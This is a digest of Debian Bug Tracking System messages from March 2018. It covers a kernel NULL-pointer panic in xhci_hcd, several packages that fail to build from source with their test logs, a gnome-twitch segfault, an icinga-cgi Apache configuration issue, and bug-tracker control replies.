892564: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892564
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892647: linux-image-4.14.0-0.bpo.3-amd64: Kernel panic, NULL pointer dereference in xhci_hcd

[enyone]

Package: src:linux
Version: 4.14.13-1~bpo9+1
Severity: critical
Justification: breaks the whole system



-- Package-specific info:
** Version:
Linux version 4.14.0-0.bpo.3-amd64 (debian-ker...@lists.debian.org) (gcc 
version 6.3.0 20170516 (Debian 6.3.0-18)) #1 SMP Debian 4.14.13-1~bpo9+1 
(2018-01-14)


** Command line:
BOOT_IMAGE=/vmlinuz-4.14.0-0.bpo.3-amd64 root=/dev/mapper/r--vg-root ro 
debug ignore_loglevel init=/bin/systemd panic=10 loglevel=7 
crashkernel=384M-:128M


** Tainted: O (4096)
 * Out-of-tree module has been loaded.

** Kernel log:
[ 5630.857949] BUG: unable to handle kernel NULL pointer dereference at 
00e5

[ 5630.857983] IP: kfree+0x13/0xe0
[ 5630.857989] PGD 0 P4D 0
[ 5630.857999] Oops: 0002 [#1] SMP PTI
[ 5630.858005] Modules linked in: acpi_call(O) pci_stub vboxpci(O) 
vboxnetadp(O) vboxnetflt(O) vboxdrv(O) ctr ccm cpufreq_userspace 
cpufreq_conservative cpufreq_powersave bnep nls_ascii nls_cp437 vfat fat 
snd_usb_a
udio snd_usbmidi_lib snd_rawmidi snd_seq_device sg snd_hda_codec_hdmi 
snd_hda_codec_realtek snd_hda_codec_generic arc4 wmi_bmof hci_uart btqca 
btintel bluetooth snd_soc_skl snd_soc_skl_ipc efi_pstore snd_soc_sst_ipc 
snd_soc_sst_dsp iwlmv
m snd_hda_ext_core snd_soc_sst_match mac80211 snd_soc_core snd_compress 
intel_rapl x86_pkg_temp_thermal intel_powerclamp snd_hda_intel coretemp 
snd_hda_codec i915 kvm_intel snd_hda_core kvm irqbypass intel_cstate 
iwlwifi intel_uncore drb
g joydev evdev drm_kms_helper snd_hwdep intel_rapl_perf serio_raw drm 
snd_pcm pcspkr iTCO_wdt efivars ucsi_acpi iTCO_vendor_support
[ 5630.858096]  cfg80211 snd_timer mei_me typec_ucsi i2c_algo_bit shpchp 
mei intel_pch_thermal typec ansi_cprng wmi thinkpad_acpi nvram snd 
soundcore intel_lpss_acpi ecdh_generic ac rfkill intel_lpss video 
mfd_core
 tpm_crb battery acpi_pad button efivarfs ip_tables x_tables autofs4 
ext4 crc16 mbcache jbd2 crc32c_generic fscrypto ecb algif_skcipher 
af_alg dm_crypt dm_mod sd_mod hid_logitech_hidpp hid_logitech_dj uas 
usb_storage scsi_mod hid_generic
 usbhid netconsole configfs crct10dif_pclmul crc32_pclmul crc32c_intel 
ghash_clmulni_intel pcbc aesni_intel nvme e1000e nvme_core aes_x86_64 
crypto_simd glue_helper cryptd xhci_pci xhci_hcd psmouse ptp i2c_i801 
pps_core usbcore usb_commo

n thermal i2c_hid hid
[ 5630.858190] CPU: 2 PID: 0 Comm: swapper/2 Tainted: G   O
4.14.0-0.bpo.3-amd64 #1 Debian 4.14.13-1~bpo9+1
[ 5630.858195] Hardware name: LENOVO 20HD0001MX/20HD0001MX, BIOS 
N1QET72W (1.47 ) 02/24/2018

[ 5630.858201] task: 889ad033a040 task.stack: a88241968000
[ 5630.858208] RIP: 0010:kfree+0x13/0xe0
[ 5630.858213] RSP: 0018:889ae2503dd0 EFLAGS: 00010093
[ 5630.858219] RAX: 00e5 RBX: 889ac1ad2398 RCX: 
dead0200
[ 5630.858225] RDX:  RSI: 889ac96c6a00 RDI: 
889ac1ad2200
[ 5630.858230] RBP: 889ac96c6a00 R08: 0480 R09: 
0480
[ 5630.858235] R10:  R11: 889acc9d1a30 R12: 
c047f5c3
[ 5630.858239] R13: 889ac90f2000 R14:  R15: 
889ac90f2284
[ 5630.858245] FS:  () GS:889ae250() 
knlGS:

[ 5630.858251] CS:  0010 DS:  ES:  CR0: 80050033
[ 5630.858256] CR2: 00e5 CR3: 00032f00a004 CR4: 
003606e0

[ 5630.858261] Call Trace:
[ 5630.858268]  
[ 5630.858291]  xhci_giveback_urb_in_irq.isra.43+0x53/0xe0 [xhci_hcd]
[ 5630.858311]  xhci_td_cleanup+0xe7/0x170 [xhci_hcd]
[ 5630.858327]  xhci_irq+0x162d/0x1fe0 [xhci_hcd]
[ 5630.858337]  ? add_interrupt_randomness+0x199/0x200
[ 5630.858346]  __handle_irq_event_percpu+0x7b/0x180
[ 5630.858354]  handle_irq_event_percpu+0x30/0x80
[ 5630.858361]  handle_irq_event+0x3c/0x60
[ 5630.858370]  handle_edge_irq+0x86/0x1d0
[ 5630.858379]  handle_irq+0x19/0x30
[ 5630.858388]  do_IRQ+0x41/0xc0
[ 5630.858396]  common_interrupt+0x98/0x98
[ 5630.858402]  
[ 5630.858410] RIP: 0010:cpuidle_enter_state+0xa2/0x2c0
[ 5630.858415] RSP: 0018:a8824196bea0 EFLAGS: 0246 ORIG_RAX: 
ffcb
[ 5630.858421] RAX: 889ae2521980 RBX: 051f09494835 RCX: 
001f
[ 5630.858426] RDX: 051f09494835 RSI: fffcada0f296 RDI: 

[ 5630.858430] RBP: c8823fd0a2a0 R08:  R09: 
0008
[ 5630.858435] R10: 02fd R11: 037a R12: 
0004
[ 5630.858439] R13: 0004 R14: 0004 R15: 
051f093a8d0d

[ 5630.858451]  do_idle+0x188/0x1f0
[ 5630.858459]  cpu_startup_entry+0x6f/0x80
[ 5630.858468]  start_secondary+0x18b/0x1e0
[ 5630.858475]  secondary_startup_64+0xa5/0xb0
[ 5630.858482] Code: ff 9e 48 8b 15 bf 11 e1 00 1e 76 ff ff ff 66 2e 0f 
1e 84 00 00 00 00 00 0f 1c 44 00 00 41 54 55 48 1c fd 53 4c 8b 64 24 18 
1c 1f <44> 00 00 48 83 fd 1c 76 68 9c 58 0f 1f 44 00 00 48 89 c3 fa 66

[ 5630.858559] RIP: kfree+0x13/0xe0 RSP: 889ae2503dd0
[ 5630.858563] CR2: 00e5
[ 5630.858574] ---[ end 

Bug#876934: openorienteering-mapper FTBFS: test failures

[Kai Pastor, DG0YT]

Dear maintainers,

today I released OpenOrienteering Mapper 0.8.1. Now you have the 
following options for fixing bug#876934:


a) Update to 0.8.1.

0.8.x builds successful with proj-5.0.0 and gdal/libpoppler for Debian 
Testing on build.opensuse.org. It also builds reproducible for openSUSE 
Tumbleweed.


b) Disable GDAL when building openorienteering-mapper-0.7.0. This stops 
the crashes from a ODR violation caused by a duplicate symbol named 
pulled in by libgdal from libpoppler.


Regards, Kai.

Bug#892643: deepin-image-viewer FTBFS with libdtkwidget-dev 2.0.7-1

[Adrian Bunk]

Source: deepin-image-viewer
Version: 1.2.16.8-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/deepin-image-viewer.html

...
main.cpp: In function 'int main(int, char**)':
main.cpp:36:5: error: 'DWIDGET_INIT_RESOURCE' was not declared in this scope
 DWIDGET_INIT_RESOURCE();
 ^

Bug#892644: python-pybedtools FTBFS: test failures

[Adrian Bunk]

Source: python-pybedtools
Version: 0.7.10-2
Severity: serious

Some recent change in usntable makes python-pybedtools FTBFS:

https://tests.reproducible-builds.org/debian/history/python-pybedtools.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-pybedtools.html

...
   dh_auto_test -O--buildsystem=pybuild
I: pybuild pybuild:219: cp 
/build/1st/python-pybedtools-0.7.10/debian/mpl-expected.png 
/build/1st/python-pybedtools-0.7.10/.pybuild/pythonX.Y_3.6/build/pybedtools/test/
I: pybuild base:184: cd 
/build/1st/python-pybedtools-0.7.10/.pybuild/pythonX.Y_3.6/build; python3.6 -m 
nose --attr '!url' 
...F..F...
*
*WARNING: Genome (-g) files are ignored when BAM input is provided. 
*
.....
*
*WARNING: Genome (-g) files are ignored when BAM input is provided. 
*
.
*
*WARNING: Genome (-g) files are ignored when BAM input is provided. 
*
S..
==
FAIL: pybedtools.test.test1.test_randomstats
--
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/nose/case.py", line 197, in runTest
self.test(*self.arg)
  File 
"/build/1st/python-pybedtools-0.7.10/.pybuild/pythonX.Y_3.6/build/pybedtools/test/test1.py",
 line 796, in test_randomstats
assert results['percentile'] == 89.5
AssertionError

==
FAIL: pybedtools.test.test1.test_reldist
--
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/nose/case.py", line 197, in runTest
self.test(*self.arg)
  File 
"/build/1st/python-pybedtools-0.7.10/.pybuild/pythonX.Y_3.6/build/pybedtools/test/test1.py",
 line 1461, in test_reldist
assert results == {'reldist': [0.15, 0.21, 0.28], 'count': [1, 1, 1], 
'total': [3, 3, 3], 'fraction': [0.333, 0.333, 0.333]}, results
AssertionError: {'reldist': [0.21], 'count': [1], 'total': [1], 'fraction': 
[1.0]}

==
FAIL: merge, i=filename ibam=False, {'s': True}
--
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/nose/case.py", line 197, in runTest
self.test(*self.arg)
  File 
"/build/1st/python-pybedtools-0.7.10/.pybuild/pythonX.Y_3.6/build/pybedtools/test/test_iter.py",
 line 68, in run
assert res == expected
AssertionError: 
 >> begin captured stdout << -
/build/1st/python-pybedtools-0.7.10/.pybuild/pythonX.Y_3.6/build/pybedtools/test/tmp/pybedtools.0oti4rl_.tmp
Method call:
BedTool.merge(s=True)
Got:
chr11   200
chr1150 500
chr1900 950

Expected:
chr11   200 +
chr1150 500 -
chr1900 950 +

Diff:
--- 
 +++ 
 @@ -1,3 +1,3 @@
 -chr1  1   200
 -chr1  150 500
 -chr1  900 950
 +chr1  1   200 +
 +chr1  150 500 -
 +chr1  900 950 +
 Showing special characters:
Got:
chr1\t1\t200\n
chr1\t150\t500\n
chr1\t900\t950\n

Expected:
chr1\t1\t200\t+\n
chr1\t150\t500\t-\n
chr1\t900\t950\t+\n

Diff:
--- 
 +++ 
 @@ -1,3 +1,3 @@
 -chr1\t1\t200\n
 -chr1\t150\t500\n
 -chr1\t900\t950\n
 +chr1\t1\t200\t+\n
 +chr1\t150\t500\t-\n
 +chr1\t900\t950\t+\n
 
- >> end captured stdout << --
...
FAILED (SKIP=1, failures=14)
E: pybuild pybuild:283: test: plugin distutils failed with: exit code=1: cd 
/build/1st/python-pybedtools-0.7.10/.pybuild/pythonX.Y_3.6/build; python3.6 -m 
nose --attr '!url' 
dh_auto_test: pybuild --test --test-nose -i python{version} -p 3.6 returned 
exit code 13
make: *** [debian/rules:14: build] Error 25

Bug#892645: [gnome-twitch] Segfault on json node

[Wild Turtles]

Package: gnome-twitch
Version: 0.3.1-1
Severity: grave

--- Please enter the report below this line. ---
At start gnome-twich crash with a segfault.

gnome-twitch --log-level=4
[16:07:09] Warning - GNOME-Twitch : {GtApp} Invalid logging level
[16:07:09] Message - GNOME-Twitch : {GtApp} Startup
[16:07:09] Message - GNOME-Twitch : {GtApp} Loading chat settings
[16:07:09] Message - GNOME-Twitch : {GtApp} Activate
[16:07:09] Message - GNOME-Twitch : {GtPlayer} Loaded player backend
'GStreamer OpenGL player backend'
[16:07:09] Message - GNOME-Twitch : {GtPlayerBackendGstreamerOpenGL}
{GtPlayerBackendGstreamerOpenGL} Init
[16:07:09] Warning - GNOME-Twitch : cannot set NULL uri
[16:07:15] Critical - GLib : g_ptr_array_remove_index: assertion 'index_
< rarray->len' failed
[16:07:15] Critical - Json : json_node_get_node_type: assertion
'JSON_NODE_IS_VALID (node)' failed

His now install in local since the package have been remove from testing.


--- System information. ---
Architecture:
Kernel: Linux 4.14.0-3-amd64

500 testing ftp.fr.debian.org

--- Package information. ---
Depends (Version) | Installed
-+-=
libc6 (>= 2.7) |
libgdk-pixbuf2.0-0 (>= 2.25.2) |
libglib2.0-0 (>= 2.39.90) |
libgtk-3-0 (>= 3.20) |
libjson-glib-1.0-0 (>= 0.16.0) |
libpeas-1.0-0 (>= 1.0.0) |
libsoup2.4-1 (>= 2.41.90) |
libwebkit2gtk-4.0-37 (>= 2.5.3) |
libx11-6 |
dconf-gsettings-backend |
OR gsettings-backend |


Recommends (Version) | Installed
==-+-=

gnome-twitch-player-backend-gstreamer-cairo (= 0.3.1-1) |
OR gnome-twitch-player-backend-gstreamer-opengl (= 0.3.1-1) | 0.3.1-1
OR gnome-twitch-player-backend-gstreamer-clutter (= 0.3.1-1) |
OR gnome-twitch-player-backend-mpv-opengl (= 0.3.1-1) |


Package's Suggests field is empty.


0x0364AB34.asc
Description: application/pgp-keys
<>

Processed: Proper bug title

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> retitle 892640 celery FTBFS: test failures
Bug #892640 [src:celery] celery FTBFS:
Changed Bug title to 'celery FTBFS: test failures' from 'celery FTBFS:'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
892640: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892640
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892641: python-xarray: FTBFS and Debci failure with pandas 0.22.0

[Adrian Bunk]

Source: python-xarray
Version: 0.9.6-1
Severity: serious

https://ci.debian.net/packages/p/python-xarray/unstable/amd64/
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-xarray.html

...
   dh_auto_test -O--buildsystem=pybuild
I: pybuild base:184: cd 
/build/1st/python-xarray-0.9.6/.pybuild/pythonX.Y_3.6/build; python3.6 -m 
pytest 
= test session starts ==
platform linux -- Python 3.6.4+, pytest-3.3.2, py-1.5.2, pluggy-0.6.0
rootdir: /build/1st/python-xarray-0.9.6, inifile: setup.cfg
collected 2460 items / 1 skipped

xarray/tests/test_accessors.py s...  [  0%]
xarray/tests/test_backends.py .ss.ss [  1%]
s.ss [  4%]
sss. [  7%]
.ss..... [ 10%]
s.s...s. [ 13%]
 [ 16%]
ss.s..ss.ss.s..ss.ss [ 19%]
 [ 22%]
 [ 25%]
s.s..[ 27%]
xarray/tests/test_combine.py s   [ 28%]
xarray/tests/test_computation.py ..s [ 29%]
xarray/tests/test_conventions.py .ss [ 30%]
ss.s.sss [ 31%]
xarray/tests/test_dask.py ss [ 33%]
xarray/tests/test_dataarray.py .s... [ 35%]
sFF. [ 38%]
...s...F [ 41%]
..s. [ 43%]
 [ 46%]
 [ 49%]
 [ 52%]
...  [ 53%]
xarray/tests/test_dataset.py ..s.s.. [ 54%]
F... [ 57%]
.F.F.s..s..s [ 60%]
...s..s..s.s [ 63%]
 [ 66%]
 [ 69%]
 [ 72%]
 [ 75%]
 [ 78%]
 [ 81%]
 [ 82%]
xarray/tests/test_duck_array_ops.py .[ 83%]
xarray/tests/test_extensions.py  [ 83%]
xarray/tests/test_formatting.py  [ 84%]
xarray/tests/test_groupby.py .   [ 84%]
xarray/tests/test_indexing.py .F..   [ 84%]
xarray/tests/test_merge.py . [ 85%]
xarray/tests/test_options.py ..  [ 85%]
xarray/tests/test_plot.py .. [ 87%]
 [ 90%]
 [ 93%]
 [ 93%]
xarray/tests/test_tutorial.py s  [ 93%]
xarray/tests/test_ufuncs.py  [ 93%]
xarray/tests/test_utils.py ...   [ 94%]
xarray/tests/test_variable.py .. [ 96%]
 [ 99%]
...s [100%]

=== FAILURES ===
_ TestDataArray.test_resample __

self = 

def test_resample(self):
times = 

Bug#892640: celery FTBFS:

[Adrian Bunk]

Source: celery
Version: 4.1.0-2
Severity: serious

Some recent change in unstable makes celery FTBFS:

https://tests.reproducible-builds.org/debian/history/celery.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/celery.html

...
 ERRORS 
_ ERROR at teardown of test_default_logger.test_setup_logging_subsystem_misc2 __

request = >

@pytest.fixture(autouse=True)
def sanity_logging_side_effects(request):
root = logging.getLogger()
rootlevel = root.level
roothandlers = root.handlers

yield

this = request.node.name
root_now = logging.getLogger()
if root_now.level != rootlevel:
raise RuntimeError(CASE_LOG_LEVEL_EFFECT.format(this))
if root_now.handlers != roothandlers:
>   raise RuntimeError(CASE_LOG_HANDLER_EFFECT.format(this))
E   RuntimeError: Test test_setup_logging_subsystem_misc2 modified 
handlers for the root logger

t/unit/conftest.py:246: RuntimeError
__ ERROR at teardown of test_default_logger.test_setup_logger __

request = >

@pytest.fixture(autouse=True)
def sanity_logging_side_effects(request):
root = logging.getLogger()
rootlevel = root.level
roothandlers = root.handlers

yield

this = request.node.name
root_now = logging.getLogger()
if root_now.level != rootlevel:
raise RuntimeError(CASE_LOG_LEVEL_EFFECT.format(this))
if root_now.handlers != roothandlers:
>   raise RuntimeError(CASE_LOG_HANDLER_EFFECT.format(this))
E   RuntimeError: Test test_setup_logger modified handlers for the root 
logger

t/unit/conftest.py:246: RuntimeError
 ERROR at teardown of test_default_logger.test_setup_logger_no_handlers_stream _

request = >

@pytest.fixture(autouse=True)
def sanity_logging_side_effects(request):
root = logging.getLogger()
rootlevel = root.level
roothandlers = root.handlers

yield

this = request.node.name
root_now = logging.getLogger()
if root_now.level != rootlevel:
raise RuntimeError(CASE_LOG_LEVEL_EFFECT.format(this))
if root_now.handlers != roothandlers:
>   raise RuntimeError(CASE_LOG_HANDLER_EFFECT.format(this))
E   RuntimeError: Test test_setup_logger_no_handlers_stream modified 
handlers for the root logger

t/unit/conftest.py:246: RuntimeError
_ ERROR at teardown of test_default_logger.test_setup_logger_no_handlers_file __

request = >

@pytest.fixture(autouse=True)
def sanity_logging_side_effects(request):
root = logging.getLogger()
rootlevel = root.level
roothandlers = root.handlers

yield

this = request.node.name
root_now = logging.getLogger()
if root_now.level != rootlevel:
raise RuntimeError(CASE_LOG_LEVEL_EFFECT.format(this))
if root_now.handlers != roothandlers:
>   raise RuntimeError(CASE_LOG_HANDLER_EFFECT.format(this))
E   RuntimeError: Test test_setup_logger_no_handlers_file modified 
handlers for the root logger

t/unit/conftest.py:246: RuntimeError
 ERROR at teardown of test_default_logger.test_redirect_stdouts 

request = >

@pytest.fixture(autouse=True)
def sanity_logging_side_effects(request):
root = logging.getLogger()
rootlevel = root.level
roothandlers = root.handlers

yield

this = request.node.name
root_now = logging.getLogger()
if root_now.level != rootlevel:
raise RuntimeError(CASE_LOG_LEVEL_EFFECT.format(this))
if root_now.handlers != roothandlers:
>   raise RuntimeError(CASE_LOG_HANDLER_EFFECT.format(this))
E   RuntimeError: Test test_redirect_stdouts modified handlers for the 
root logger

t/unit/conftest.py:246: RuntimeError
_ ERROR at teardown of test_default_logger.test_logging_proxy __

request = >

@pytest.fixture(autouse=True)
def sanity_logging_side_effects(request):
root = logging.getLogger()
rootlevel = root.level
roothandlers = root.handlers

yield

this = request.node.name
root_now = logging.getLogger()
if root_now.level != rootlevel:
raise RuntimeError(CASE_LOG_LEVEL_EFFECT.format(this))
if root_now.handlers != roothandlers:
>   raise RuntimeError(CASE_LOG_HANDLER_EFFECT.format(this))
E   RuntimeError: Test test_logging_proxy modified handlers for the 
root logger

t/unit/conftest.py:246: RuntimeError
=== warnings summary ===
t/unit/app/test_backends.py::test_backends::()::test_get_backend_aliases[amqp://-AMQPBackend]
  /build/1st/celery-4.1.0/celery/backends/amqp.py:68: 
CPendingDeprecationWarning: \nThe AMQP 

Bug#868851: closed by Pirate Praveen <prav...@debian.org> (this is already fixed)

[Adrian Bunk]

Control: reopen -1

On Sun, Mar 11, 2018 at 03:39:13PM +, Debian Bug Tracking System wrote:
>...
> See
> https://tracker.debian.org/media/packages/r/ruby-mustermann/control-1.0.0-3

Unfortunately it is not, due to 0.4.3+git20160621 < 0.4.3+git20160621-1

cu
Adrian

-- 

   "Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
   "Only a promise," Lao Er said.
   Pearl S. Buck - Dragon Seed

Processed: Re: Bug#868851 closed by Pirate Praveen <prav...@debian.org> (this is already fixed)

[Debian Bug Tracking System]

Processing control commands:

> reopen -1
Bug #868851 {Done: Pirate Praveen } [ruby-mustermann] 
ruby-mustermann: missing Breaks+Replaces: ruby-mustermann19
Bug #868839 {Done: Pirate Praveen } [ruby-mustermann] 
ruby-mustermann: missing Breaks+Replaces: ruby-mustermann19
Bug reopened
Ignoring request to alter fixed versions of bug #868851 to the same values 
previously set
Ignoring request to alter fixed versions of bug #868839 to the same values 
previously set

-- 
868839: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868839
868851: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868851
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892638: mopidy-scrobbler FTBFS with python-pylast 2.1.0-1

[Adrian Bunk]

Source: mopidy-scrobbler
Version: 1.1.1-3
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/mopidy-scrobbler.html

...
   dh_auto_test -O--buildsystem=pybuild
I: pybuild base:184: cd 
/build/1st/mopidy-scrobbler-1.1.1/.pybuild/pythonX.Y_2.7/build; python2.7 -m 
pytest /build/1st/mopidy-scrobbler-1.1.1/tests/
= test session starts ==
platform linux2 -- Python 2.7.14+, pytest-3.3.2, py-1.5.2, pluggy-0.6.0
rootdir: /build/1st/mopidy-scrobbler-1.1.1, inifile:
collected 14 items

../../../tests/test_extension.py ... [ 21%]
../../../tests/test_frontend.py .F..F..  [100%]

=== FAILURES ===
_ FrontendTest.test_track_playback_ended_catches_pylast_error __

self = 
pylast_mock = 

def test_track_playback_ended_catches_pylast_error(self, pylast_mock):
self.frontend.lastfm = mock.Mock(spec=pylast.LastFMNetwork)
>   pylast_mock.ScrobblingError = pylast.ScrobblingError
E   AttributeError: 'module' object has no attribute 'ScrobblingError'

../../../tests/test_frontend.py:163: AttributeError
 FrontendTest.test_track_playback_started_catches_pylast_error _

self = 
pylast_mock = 

def test_track_playback_started_catches_pylast_error(self, pylast_mock):
self.frontend.lastfm = mock.Mock(spec=pylast.LastFMNetwork)
>   pylast_mock.ScrobblingError = pylast.ScrobblingError
E   AttributeError: 'module' object has no attribute 'ScrobblingError'

../../../tests/test_frontend.py:84: AttributeError
= 2 failed, 12 passed in 0.54 seconds ==
E: pybuild pybuild:283: test: plugin distutils failed with: exit code=1: cd 
/build/1st/mopidy-scrobbler-1.1.1/.pybuild/pythonX.Y_2.7/build; python2.7 -m 
pytest {dir}/tests/
dh_auto_test: pybuild --test -i python{version} -p 2.7 returned exit code 13
make: *** [debian/rules:10: build] Error 25

Bug#881708: marked as done (libc++: FTBFS on armel/armhf/mips*/powerpc)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 17:28:50 +0100
with message-id <050bc529-e755-0b84-19bf-0322eef21...@debian.org>
and subject line Fixed - libc++: FTBFS on armhf/mips*/powerpc
has caused the Debian Bug report #881708,
regarding libc++: FTBFS on armel/armhf/mips*/powerpc
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
881708: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=881708
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: libc++
Version: 4.0.1-2
Severity: serious
Justification: fails to build from source

libc++ does FTBFS on several architectures where it built previously:

https://buildd.debian.org/status/package.php?p=libc%2b%2b=unstable


Andreas
--- End Message ---
--- Begin Message ---
All archs but armel are fixed.

I would like to have 6.0 in testing and I am not sure I want to spend
time on armel, so, I think we can close this bug.


The issue is:

/usr/bin/clang++-6.0  -g -O2
-fdebug-prefix-map=/home/sylvestre/libc++-6.0=. -fstack-protector-strong
-Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2
-DLLVM_NO_OLD_LIBSTDCXX  -std=c++0x   
CMakeFiles/cmTC_c62fb.dir/src.cxx.o  -o cmTC_c62fb
CMakeFiles/cmTC_c62fb.dir/src.cxx.o: In function `main':
/usr/bin/../lib/gcc/arm-linux-gnueabi/7.3.0/../../../../include/c++/7.3.0/atomic:250:
undefined reference to `__atomic_load_4'
clang: error: linker command failed with exit code 1 (use -v to see
invocation)
CMakeFiles/cmTC_c62fb.dir/build.make:97: recipe for target 'cmTC_c62fb'
failed
make[3]: *** [cmTC_c62fb] Error 1--- End Message ---

Bug#892636: python-structlog FTBFS with pytest 3.3.2-2

[Adrian Bunk]

Source: python-structlog
Version: 17.2.0-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-structlog.html

...
   dh_auto_test -O--buildsystem=pybuild
I: pybuild base:184: cd 
/build/1st/python-structlog-17.2.0/.pybuild/pythonX.Y_2.7/build; python2.7 -m 
pytest tests
= test session starts ==
platform linux2 -- Python 2.7.14+, pytest-3.3.2, py-1.5.2, pluggy-0.6.0
rootdir: /build/1st/python-structlog-17.2.0, inifile: setup.cfg
collected 240 items

tests/test_base.py ..[  5%]
tests/test_config.py ... [ 18%]
tests/test_dev.py ...[ 25%]
tests/test_frames.py [ 30%]
tests/test_generic.py .. [ 30%]
tests/test_loggers.py .. [ 38%]
tests/test_processors.py ..sss.s..s  [ 57%]
tests/test_stdlib.py .F.ss.s [ 78%]
s.   [ 79%]
tests/test_threadlocal.py s  [ 86%]
tests/test_twisted.py .  [ 98%]
tests/test_utils.py ...  [100%]
=== short test summary info 
FAIL tests/test_stdlib.py::TestLoggerFactory::()::test_ignores_frames
SKIP [1] .pybuild/pythonX.Y_2.7/build/tests/test_processors.py:180: rapidjson 
is missing.
SKIP [1] .pybuild/pythonX.Y_2.7/build/tests/test_threadlocal.py:182: Needs 
greenlet.
SKIP [1] .pybuild/pythonX.Y_2.7/build/tests/test_stdlib.py:93: Python 3-only
SKIP [1] .pybuild/pythonX.Y_2.7/build/tests/test_stdlib.py:99: Python 3-only
SKIP [1] .pybuild/pythonX.Y_2.7/build/tests/test_processors.py:259: Python 
3-only
SKIP [1] .pybuild/pythonX.Y_2.7/build/tests/test_processors.py:468: Python 
3-only
SKIP [2] .pybuild/pythonX.Y_2.7/build/tests/test_stdlib.py:579: Python 3-only
SKIP [1] .pybuild/pythonX.Y_2.7/build/tests/test_processors.py:275: Python 
3-only
SKIP [1] .pybuild/pythonX.Y_2.7/build/tests/test_processors.py:415: Python 
3-only

=== FAILURES ===
 TestLoggerFactory.test_ignores_frames _

self = 

def test_ignores_frames(self):
"""
The name guesser walks up the frames until it reaches a frame whose
name is not from structlog or one of the configurable other names.
"""
>   assert '__main__' == additional_frame(LoggerFactory(
ignore_frame_names=['tests.', '_pytest.'])
).name
E   AssertionError: assert '__main__' == 'pluggy.callers'
E - __main__
E + pluggy.callers

tests/test_stdlib.py:83: AssertionError
=== 1 failed, 229 passed, 10 skipped in 1.88 seconds ===
E: pybuild pybuild:283: test: plugin distutils failed with: exit code=1: cd 
/build/1st/python-structlog-17.2.0/.pybuild/pythonX.Y_2.7/build; python2.7 -m 
pytest tests
dh_auto_test: pybuild --test --test-pytest -i python{version} -p 2.7 returned 
exit code 13
make: *** [debian/rules:7: build] Error 25

Bug#892628: [Pkg-nagios-devel] Bug#892628: icinga-web: Ships Apache 2.2 config

[Sebastiaan Couwenberg]

Control: tags -1 unreproducible pending
Control: severity -1 normal

On 03/11/2018 03:51 PM, Axel Beckert wrote:
> at the Debian booth at Chemnitzer Linux-Tage a user of icinga-cgi
> (X-Debbugs-Cc'ed) showed up who had issues with replacing Nagios with
> Icinga 1 on Jessie, because icinga-cgi in Jessie still ships and
> installs an Apache 2.2 configuration incompatible with Apache 2.4 in
> Debian Jessie. He said that installing icinga-cgi breaks the existing
> Apache configuration because of that and Apache refuses to start up
> anymore until you fix the config syntax.
> 
> This makes icinga-cgi breaking an unrelated package (apache2 and
> friends do not depend on icinga-web), hence RC-severity.
> 
> I just checked icinga-cgi in unstable and testing, and the config
> shipped in there still has Apache 2.2 syntax:
> 
> ---snip---
> [...]
> Order Allow,Deny<- Apache 2.2
> Allow From All  <- Apache 2.2
> [...]
> ---snap---
> 
> One possible short-term solution, at least for Jessie, would be to not
> only enable mod_cgi in postinst, but also mod_access_compat.
> 
> Alternatively (and not that more complicated) the config file shipped
> needs to be patched for Apache 2.4 syntax.

While the icinga-cgi package in stretch and later still includes the
Order/Allow configuration, this does not actually cause apache startup
to fail since access_compat is enabled by default. I've tested this in
both a stretch & jessie cowbuilder chroot.

I've updated the configuration to no longer require access_compat, that
will be included in the next upload.

Since I cannot reproduce apache startup failure, I've downgraded the
severity.

Kind Regards,

Bas

Processed: Re: [Pkg-nagios-devel] Bug#892628: icinga-web: Ships Apache 2.2 config

[Debian Bug Tracking System]

Processing control commands:

> tags -1 unreproducible pending
Bug #892628 [icinga-cgi] icinga-cgi: Ships Apache 2.2 config
Added tag(s) pending and unreproducible.
> severity -1 normal
Bug #892628 [icinga-cgi] icinga-cgi: Ships Apache 2.2 config
Severity set to 'normal' from 'grave'

-- 
892628: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892628
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#888196: marked as done (ruby-sexp-processor: FTBFS on ruby2.5: BOOM GOES THE STACK)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 16:21:35 +
with message-id 
and subject line Bug#888196: fixed in ruby-sexp-processor 4.7.0-2
has caused the Debian Bug report #888196,
regarding ruby-sexp-processor: FTBFS on ruby2.5: BOOM GOES THE STACK
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
888196: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=888196
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
